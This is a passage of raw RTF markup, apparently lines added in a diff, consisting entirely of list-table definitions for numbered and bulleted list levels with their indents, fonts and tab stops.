+{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af0\afs20 \ltrch\fcs0 \b\i0\fs20\fbias0\hres0\chhres0 \fi-357\li2247
+\jclisttab\tx2610\lin2247 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 
+\b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1\levelnfcn1\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 
+\ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-357\li1792\jclisttab\tx2155\lin1792 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2149\jclisttab\tx2152\lin2149 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2506\jclisttab\tx2509\lin2506 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2863\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname ;}\listid398096909}
+{\list\listtemplateid1928476992{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af44\afs20 \ltrch\fcs0 \b\i0\f44\fs20\fbias0\hres0\chhres0 
+\fi-357\li357\jclisttab\tx360\lin357 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af44\afs20 \ltrch\fcs0 
+\b\i0\f44\fs20\fbias0\hres0\chhres0 \fi-363\li720\jclisttab\tx720\lin720 }{\listlevel\levelnfc2\levelnfcn2\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af43\afs20 
+\ltrch\fcs0 \b\i0\f43\fs20\fbias0\hres0\chhres0 \s39\fi-357\li1077\jclisttab\tx1440\lin1077 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 
+\ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1\levelnfcn1\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-357\li1792\jclisttab\tx2155\lin1792 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1
+\levelspace0\levelindent0{\leveltext\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2149\jclisttab\tx2152\lin2149 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2506\jclisttab\tx2509\lin2506 }{\listlevel\levelnfc255\levelnfcn255\leveljc0
+\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2863\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255
+\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname 
+;}\listid398796681}{\list\listtemplateid789093748\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid-317712510\'01\u-3913 ?;}{\levelnumbers;}
+\f3\fbias0\hres0\chhres0 \s26\fi-363\li720\jclisttab\tx720\lin720 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 
+\li1440\jclisttab\tx1440\lin1440 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li2160
+\jclisttab\tx2160\lin2160 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2880
+\jclisttab\tx2880\lin2880 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li3600\jclisttab\tx3600\lin3600 }
+{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li4320\jclisttab\tx4320\lin4320 }{\listlevel\levelnfc23
+\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li5040\jclisttab\tx5040\lin5040 }{\listlevel\levelnfc23\levelnfcn23\leveljc0
+\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5760\jclisttab\tx5760\lin5760 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6480\jclisttab\tx6480\lin6480 }{\listname ;}\listid477573462}{\list\listtemplateid830884688\listhybrid{\listlevel
+\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698703\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li1077\lin1077 }{\listlevel\levelnfc4\levelnfcn4
+\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li1797\lin1797 }{\listlevel\levelnfc2\levelnfcn2\leveljc2
+\leveljcn2\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li2517\lin2517 }{\listlevel\levelnfc0\levelnfcn0\leveljc0
+\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698703\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li3237\lin3237 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li3957\lin3957 }{\listlevel\levelnfc2\levelnfcn2\leveljc2\leveljcn2
+\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li4677\lin4677 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698703\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li5397\lin5397 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713\'02\'07.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li6117\lin6117 }{\listlevel\levelnfc2\levelnfcn2\leveljc2\leveljcn2
+\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715\'02\'08.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li6837\lin6837 }{\listname ;}\listid545946042}
+{\list\listtemplateid-1705225006{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af43\afs20 \ltrch\fcs0 
+\b\i0\f43\fs20\cf0\fbias0\hres0\chhres0 \s1\fi-357\li357\jclisttab\tx360\lin357 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 
+\ab\ai0\af43\afs20 \ltrch\fcs0 \b\i0\f43\fs20\fbias0\hres0\chhres0 \s2\fi-363\li720\jclisttab\tx720\lin720 }{\listlevel\levelnfc2\levelnfcn2\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02.;}{\levelnumbers\'01;}
+\rtlch\fcs1 \ab\ai0\af43\afs20 \ltrch\fcs0 \b\i0\f43\fs20\fbias0\hres0\chhres0 \s3\fi-357\li1077\jclisttab\tx1440\lin1077 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\animtext0\striked0\fbias0\hres0\chhres0 \s4\fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1\levelnfcn1\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\animtext0\striked0\fbias0\hres0\chhres0 \s5\fi-357\li1792\jclisttab\tx2155\lin1792 }{\listlevel
+\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \s6\fi-357\li2149
+\jclisttab\tx2152\lin2149 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 
+\s7\fi-357\li2506\jclisttab\tx2509\lin2506 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 
+\b0\i0\f44\fs20\fbias0\hres0\chhres0 \s8\fi-357\li2863\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 
+\ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \s9\fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname ;}\listid752163927}{\list\listtemplateid1725578678{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af43\afs20 \ltrch\fcs0 \b\i0\f43\fs20\cf0\fbias0\hres0\chhres0 \fi-357\li357\jclisttab\tx360\lin357 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1
+\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af43\afs20 \ltrch\fcs0 \b\i0\f43\fs20\fbias0\hres0\chhres0 \fi-363\li720\jclisttab\tx720\lin720 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af0\afs20 \ltrch\fcs0 \b\i0\fs20\fbias0\hres0\chhres0 \fi-357\li1077\jclisttab\tx1440\lin1077 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1
+\levelnfcn1\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-357\li1792
+\jclisttab\tx2155\lin1792 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 
+\fi-357\li2149\jclisttab\tx2152\lin2149 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 
+\b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2506\jclisttab\tx2509\lin2506 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 
+\ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2863\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 
+\ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname ;}\listid1107626792}{\list\listtemplateid-41362566\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \s37\fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li1440\jclisttab\tx1440\lin1440 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3929 ?;}{\levelnumbers;}
+\f10\fbias0\hres0\chhres0 \li2160\jclisttab\tx2160\lin2160 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2880
+\jclisttab\tx2880\lin2880 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li3600\jclisttab\tx3600\lin3600 }{\listlevel\levelnfc23
+\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li4320\jclisttab\tx4320\lin4320 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li5040\jclisttab\tx5040\lin5040 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0
+{\leveltext\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5760\jclisttab\tx5760\lin5760 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'01\u-3929 ?;}{\levelnumbers;}
+\f10\fbias0\hres0\chhres0 \li6480\jclisttab\tx6480\lin6480 }{\listname ;}\listid1559511898}{\list\listtemplateid-743794326\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\leveltemplateid2033377338\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \s27\fi-357\li1077\jclisttab\tx1080\lin1077 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li1440\jclisttab\tx1440\lin1440 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693
+\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li2160\jclisttab\tx2160\lin2160 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689
+\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2880\jclisttab\tx2880\lin2880 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}
+\f2\fbias0\hres0\chhres0 \li3600\jclisttab\tx3600\lin3600 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}
+\f10\fbias0\hres0\chhres0 \li4320\jclisttab\tx4320\lin4320 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}
+\f3\fbias0\hres0\chhres0 \li5040\jclisttab\tx5040\lin5040 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5760
+\jclisttab\tx5760\lin5760 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6480
+\jclisttab\tx6480\lin6480 }{\listname ;}\listid1567649130}{\list\listtemplateid419070574\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689
+\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li1080\lin1080 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}
+\f2\fbias0\hres0\chhres0 \li1800\lin1800 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 
+\li2520\lin2520 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li3240\lin3240 }{\listlevel
+\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li3960\lin3960 }{\listlevel\levelnfc23\levelnfcn23\leveljc0
+\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li4680\lin4680 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li5400\lin5400 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative
+\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li6120\lin6120 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext
+\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6840\lin6840 }{\listname ;}\listid1589268858}{\list\listtemplateid1363474438\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1
+\levelspace0\levelindent0{\leveltext\leveltemplateid-1175557160\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \s38\fi-357\li1792\jclisttab\tx1795\lin1792 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1
+\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li1440\jclisttab\tx1440\lin1440 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0
+{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li2160\jclisttab\tx2160\lin2160 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2880\jclisttab\tx2880\lin2880 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691
+\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li3600\jclisttab\tx3600\lin3600 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}
+\f10\fbias0\hres0\chhres0 \li4320\jclisttab\tx4320\lin4320 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}
+\f3\fbias0\hres0\chhres0 \li5040\jclisttab\tx5040\lin5040 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5760
+\jclisttab\tx5760\lin5760 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6480
+\jclisttab\tx6480\lin6480 }{\listname ;}\listid1848404271}{\list\listtemplateid-761117952\listhybrid{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698713
+\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li717\lin717 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713
+\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li1437\lin1437 }{\listlevel\levelnfc2\levelnfcn2\leveljc2\leveljcn2\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715
+\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li2157\lin2157 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698703
+\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li2877\lin2877 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713
